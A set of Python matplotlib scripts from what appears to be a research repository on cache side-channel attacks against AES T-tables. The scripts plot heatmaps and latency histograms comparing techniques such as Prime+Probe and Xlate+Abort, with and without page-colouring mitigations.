| plt.savefig('comparison.pdf') 113 | -------------------------------------------------------------------------------- /tools/plot_full_aes.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from argparse import ArgumentParser 4 | import numpy as np 5 | import matplotlib.pyplot as plt 6 | from matplotlib.figure import figaspect 7 | from matplotlib import rc 8 | import os.path 9 | 10 | def main(): 11 | parser = ArgumentParser(description='Plots the AES T-table results.') 12 | parser.add_argument('input', type=str, help='the path to the directory containing the data.') 13 | parser.add_argument('-o', '--output', type=str, help='the path to the PDF-file to output.', default='test.pdf') 14 | 15 | args = parser.parse_args() 16 | 17 | rc('text', usetex=True) 18 | 19 | names = [ 20 | ('fr.txt', '\\tt\\sc Flush + Reload', 'Greens'), 21 | ('pp.txt', '\\tt\\sc Prime + Probe', 'Greens'), 22 | ('pa.txt', '\\tt\\sc Prime + Abort', 'Greens_r'), 23 | ('ff.txt', '\\tt\\sc Flush + Flush', 'Greens'), 24 | ('xp2.txt', '\\tt\\sc Xlate + Probe', 'Greens'),#'gray'), 25 | ('xa.txt', '\\tt\\sc Xlate + Abort', 'Greens_r'), 26 | ] 27 | 28 | fig = plt.figure(figsize=(9.5, 6)) 29 | 30 | axes = [] 31 | 32 | for (name, title, cmap), coord in zip(names, np.ndindex((2, 3))): 33 | ax = plt.subplot2grid((2, 3), coord) 34 | axes.append(ax) 35 | 36 | plt.xticks(rotation=90, fontsize=10) 37 | plt.yticks(fontsize=10) 38 | 39 | data = np.loadtxt(os.path.join(args.input, name)) 40 | 41 | # TODO: fix the output of the programs. 42 | if name == 'fr.txt' or name == 'ff.txt': 43 | data = np.transpose(data) 44 | 45 | data = [(row - np.min(row)) / ((np.max(row) - np.min(row)) or 1) for row in data] 46 | ax.set_title(title) 47 | ax.pcolormesh(data, cmap=cmap) 48 | ax.set_xlabel('$p[0]$') 49 | ax.set_ylabel('{\\tt Te0} offset') 50 | ax.set_xticklabels([i for i in range(0, 256 + 1, 32)]) 51 | ax.set_yticklabels(['\\tt' + hex(0x1584c0 + i) for i in range(0, 0x400, 64)]) 52 | ax.set_aspect('equal', adjustable='box') 53 | 54 | plt.tight_layout() 55 | plt.savefig(args.output) 56 | 57 | if __name__ == '__main__': 58 | main() 59 | -------------------------------------------------------------------------------- /tools/plot_full_bypass.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from argparse import ArgumentParser 4 | import numpy as np 5 | import matplotlib.pyplot as plt 6 | from matplotlib.figure import figaspect 7 | from matplotlib import rc 8 | import os.path 9 | 10 | def main(): 11 | parser = ArgumentParser(description='Plots the AES T-table results.') 12 | parser.add_argument('input', type=str, help='the path to the directory containing the data.') 13 | parser.add_argument('-o', '--output', type=str, help='the path to the PDF-file to output.', default='test.pdf') 14 | 15 | args = parser.parse_args() 16 | 17 | rc('text', usetex=True) 18 | 19 | names = [ 20 | ('pp-colouring.txt', '{\\tt\\sc Prime + Probe} (coloring)', 'Greens'), 21 | ('pa-colouring.txt', '{\\tt\\sc Prime + Abort} (coloring)', 'Greens_r'), 22 | ('xp-colouring.txt', '{\\tt\\sc Xlate + Probe} (coloring)', 'Greens'), 23 | ('xa-colouring.txt', '{\\tt\\sc Xlate + Abort} (coloring)', 'Greens_r'), 24 | 25 | ('pp-4ways.txt', '{\\tt\\sc Prime + Probe} (4 ways)', 'Greens'), 26 | ('pa-4ways.txt', '{\\tt\\sc Prime + Abort} (4 ways)', 'Greens_r'), 27 | ('xp-4ways.txt', '{\\tt\\sc Xlate + Probe} (4 ways)', 'Greens'), 28 | ('xa-4ways.txt', '{\\tt\\sc Xlate + Abort} (4 ways)', 'Greens_r'), 29 | 30 | ('pp-8ways.txt', '{\\tt\\sc Prime + Probe} (8 ways)', 'Greens'), 31 | ('pa-8ways.txt', '{\\tt\\sc Prime + Abort} (8 ways)', 'Greens_r'), 32 | ('xp-8ways.txt', '{\\tt\\sc Xlate + Probe} (8 ways)', 'Greens'), 33 | ('xa-8ways.txt', '{\\tt\\sc Xlate + Abort} (8 ways)', 'Greens_r'), 34 | 35 | ('pp-12ways.txt', '{\\tt\\sc Prime + Probe} (12 ways)', 'Greens'), 36 | ('pa-12ways.txt', '{\\tt\\sc Prime + Abort} (12 ways)', 'Greens_r'), 37 | ('xp-12ways.txt', '{\\tt\\sc Xlate + Probe} (12 ways)', 'Greens'), 38 | ('xa-12ways.txt', '{\\tt\\sc Xlate + Abort} (12 ways)', 'Greens_r'), 39 | ] 40 | 41 | fig = plt.figure(figsize=(12.5, 12)) 42 | 43 | axes = [] 44 | 45 | for (name, title, cmap), coord in zip(names, np.ndindex((4, 4))): 46 | ax = plt.subplot2grid((4, 4), coord) 47 | axes.append(ax) 48 | 49 | plt.xticks(rotation=90, fontsize=10) 50 | plt.yticks(fontsize=10) 51 | 52 | data = np.loadtxt(os.path.join(args.input, name)) 53 | 54 | # TODO: fix the output of the programs. 55 | if name == 'fr.txt' or name == 'ff.txt': 56 | data = np.transpose(data) 57 | 58 | data = [(row - np.min(row)) / ((np.max(row) - np.min(row)) or 1) for row in data] 59 | ax.set_title(title, y=1.08) 60 | ax.pcolormesh(data, cmap=cmap) 61 | ax.set_xlabel('$p[0]$') 62 | ax.set_ylabel('{\\tt Te0} offset') 63 | ax.set_xticklabels([i for i in range(0, 256 + 1, 32)]) 64 | ax.set_yticklabels(['\\tt' + hex(0x1584c0 + i) for i in range(0, 0x400, 64)]) 65 | ax.set_aspect('equal', adjustable='box') 66 | 67 | plt.tight_layout() 68 | plt.savefig(args.output) 69 | 70 | if __name__ == '__main__': 71 | main() 72 | -------------------------------------------------------------------------------- /tools/plot_full_mitigation.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from argparse import ArgumentParser 4 | import numpy as np 5 | import matplotlib.pyplot as plt 6 | from matplotlib.figure import figaspect 7 | from matplotlib import rc 8 | import os.path 9 | 10 | def main(): 11 | parser = ArgumentParser(description='Plots the AES T-table results.') 12 | parser.add_argument('input', type=str, help='the path to the directory containing the data.') 13 | parser.add_argument('-o', '--output', type=str, help='the path to the PDF-file to output.', default='test.pdf') 14 | 15 | args = parser.parse_args() 16 | 17 | rc('text', usetex=True) 18 | 19 | names = [ 20 | ('pp-no-colour.txt', '{\\tt\\sc Prime + Probe} (no coloring)', 'Greens'), 21 | ('pp-pg-colour.txt', '{\\tt\\sc Prime + Probe} (page coloring)', 'Greens'), 22 | ('pp-pt-colour.txt', '{\\tt\\sc Prime + Probe} (full coloring)', 'Greens'), 23 | 24 | ('pa-no-colour.txt', '{\\tt\\sc Prime + Abort} (no coloring)', 'Greens_r'), 25 | ('pa-pg-colour.txt', '{\\tt\\sc Prime + Abort} (page coloring)', 'Greens_r'), 26 | ('pa-pt-colour.txt', '{\\tt\\sc Prime + Abort} (full coloring)', 'Greens_r'), 27 | 28 | ('xp-no-colour.txt', '{\\tt\\sc Xlate + Probe} (no coloring)', 'Greens'), 29 | ('xp-pg-colour.txt', '{\\tt\\sc Xlate + Probe} (page coloring)', 'Greens'), 30 | ('xp-pt-colour.txt', '{\\tt\\sc Xlate + Probe} (full coloring)', 'Greens'), 31 | 32 | ('xa-no-colour.txt', '{\\tt\\sc Xlate + Abort} (no coloring)', 'Greens_r'), 33 | ('xa-pg-colour.txt', '{\\tt\\sc Xlate + Abort} (page coloring)', 'Greens_r'), 34 | ('xa-pt-colour.txt', '{\\tt\\sc Xlate + Abort} (full coloring)', 'Greens_r'), 35 | ] 36 | 37 | fig = plt.figure(figsize=(10, 12)) 38 | 39 | axes = [] 40 | 41 | for (name, title, cmap), coord in zip(names, np.ndindex((4, 3))): 42 | ax = plt.subplot2grid((4, 3), coord) 43 | axes.append(ax) 44 | 45 | plt.xticks(rotation=90, fontsize=10) 46 | plt.yticks(fontsize=10) 47 | 48 | data = np.loadtxt(os.path.join(args.input, name)) 49 | 50 | # TODO: fix the output of the programs. 51 | if name == 'fr.txt' or name == 'ff.txt': 52 | data = np.transpose(data) 53 | 54 | data = [(row - np.min(row)) / ((np.max(row) - np.min(row)) or 1) for row in data] 55 | ax.set_title(title, y=1.08) 56 | ax.pcolormesh(data, cmap=cmap) 57 | ax.set_xlabel('$p[0]$') 58 | ax.set_ylabel('{\\tt Te0} offset') 59 | ax.set_xticklabels([i for i in range(0, 256 + 1, 32)]) 60 | ax.set_yticklabels(['\\tt' + hex(0x1584c0 + i) for i in range(0, 0x400, 64)]) 61 | ax.set_aspect('equal', adjustable='box') 62 | 63 | plt.tight_layout() 64 | plt.savefig(args.output) 65 | 66 | if __name__ == '__main__': 67 | main() 68 | -------------------------------------------------------------------------------- /tools/plot_histogram.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from argparse import ArgumentParser 4 | import numpy as np 5 | import matplotlib.pyplot as plt 6 | from matplotlib import rc 7 | 8 | def main(): 9 | parser = ArgumentParser(description='Plots a histogram of cache hits and misses.') 10 | parser.add_argument('input', type=str, help='the path to the data file.') 11 | parser.add_argument('-o', '--output', type=str, help='the path to the PDF-file to output.', default='test.pdf') 12 | parser.add_argument('--min', type=int, help='the minimum latency to show.', default=0) 13 | parser.add_argument('--max', type=int, help='the maximum latency to show.', default=300) 14 | parser.add_argument('--bins', type=int, help='the amount of bins to use for the histogram.', default=100) 15 | parser.add_argument('--title', type=str, help='the title to use for the plot.') 16 | 17 | args = parser.parse_args() 18 | 19 | rc('text', usetex=True) 20 | 21 | plt.hist(np.loadtxt(args.input), args.bins, range=(args.min, args.max), 22 | color=('red', 'lime'), label=('Cache Miss', 'Cache Hit')) 23 | plt.xlim(args.min, args.max) 24 | plt.xlabel('Latency') 25 | plt.ylabel('Occurrences') 26 | plt.legend() 27 | 28 | if args.title: 29 | plt.title(args.title) 30 | 31 | plt.tight_layout() 32 | plt.savefig(args.output) 33 | 34 | if __name__ == '__main__': 35 | main() 36 | -------------------------------------------------------------------------------- /tools/plot_mitigation.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from argparse import ArgumentParser 4 | import numpy as np 5 | import matplotlib.pyplot as plt 6 | from matplotlib.figure import figaspect 7 | from matplotlib import rc 8 | import os.path 9 | 10 | def main(): 11 | parser = ArgumentParser(description='Plots the AES T-table results.') 12 | parser.add_argument('input', type=str, help='the path to the directory containing the data.') 13 | parser.add_argument('-o', '--output', type=str, help='the path to the PDF-file to output.', default='test.pdf') 14 | 15 | args = parser.parse_args() 16 | 17 | rc('text', usetex=True) 18 | 19 | names = [ 20 | ('pp-no-colour.txt', '{\\tt\\sc Prime + Probe} (no coloring)', 'Greens'), 21 | ('pp-pg-colour.txt', '{\\tt\\sc Prime + Probe} (page coloring)', 'Greens'), 22 | ('pp-pt-colour.txt', '{\\tt\\sc Prime + Probe} (full coloring)', 'Greens'), 23 | 24 | ('xp-no-colour.txt', '{\\tt\\sc Xlate + Probe} (no coloring)', 'Greens'), 25 | ('xp-pg-colour.txt', '{\\tt\\sc Xlate + Probe} (page coloring)', 'Greens'), 26 | ('xp-pt-colour.txt', '{\\tt\\sc Xlate + Probe} (full coloring)', 'Greens'), 27 | ] 28 | 29 | fig = plt.figure(figsize=(10, 6)) 30 | 31 | axes = [] 32 | 33 | for (name, title, cmap), coord in zip(names, np.ndindex((2, 3))): 34 | ax = plt.subplot2grid((2, 3), coord) 35 | axes.append(ax) 36 | 37 | plt.xticks(rotation=90, fontsize=10) 38 | plt.yticks(fontsize=10) 39 | 40 | data = np.loadtxt(os.path.join(args.input, name)) 41 | 42 | # TODO: fix the output of the programs. 43 | if name == 'fr.txt' or name == 'ff.txt': 44 | data = np.transpose(data) 45 | 46 | data = [(row - np.min(row)) / ((np.max(row) - np.min(row)) or 1) for row in data] 47 | ax.set_title(title, y=1.08) 48 | ax.pcolormesh(data, cmap=cmap) 49 | ax.set_xlabel('$p[0]$') 50 | ax.set_ylabel('{\\tt Te0} offset') 51 | ax.set_xticklabels([i for i in range(0, 256 + 1, 32)]) 52 | ax.set_yticklabels(['\\tt' + hex(0x1584c0 + i) for i in range(0, 0x400, 64)]) 53 | ax.set_aspect('equal', adjustable='box') 54 | 55 | plt.tight_layout() 56 | plt.savefig(args.output) 57 | 58 | if __name__ == '__main__': 59 | main() 60 | -------------------------------------------------------------------------------- /tools/plot_single_aes.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from argparse import ArgumentParser 4 | import numpy as np 5 | import matplotlib.pyplot as plt 6 | from matplotlib import rc 7 | import os.path 8 | 9 | def main(): 10 | parser = ArgumentParser(description='Plots the AES T-table results.') 11 | parser.add_argument('input', type=str, help='the path to the directory containing the data.') 12 | parser.add_argument('-o', '--output', type=str, help='the path to the PDF-file to output.', default='test.pdf') 13 | parser.add_argument('--cmap', type=str, help='the colour map to use.', default='Greens') 14 | parser.add_argument('--title', type=str, help='the title to use for the plot.') 15 | parser.add_argument('--inverse', type=str, help='invert the colour map.') 16 | 17 | args = parser.parse_args() 18 | 19 | rc('text', usetex=True) 20 | 21 | data = np.loadtxt(args.input) 22 | data = np.array([(row - np.min(row)) / ((np.max(row) - np.min(row)) or 1) for row in data]) 23 | 24 | if args.inverse == 'y': 25 | data = 1.0 - data 26 | 27 | if args.title: 28 | plt.title(args.title) 29 | 30 | plt.pcolormesh(data, cmap=args.cmap) 31 | plt.xlabel('$p[0]$') 32 | plt.ylabel('{\\tt Te0} offset') 33 | plt.xticks(np.arange(17), [i for i in range(0, 256 + 1, 16)]) 34 | plt.yticks(np.arange(17), ['\\tt' + hex(0x1584c0 + i) for i in range(0, 0x400, 64)]) 35 | plt.tight_layout() 36 | plt.savefig(args.output) 37 | 38 | if __name__ == '__main__': 39 | main() 40 | --------------------------------------------------------------------------------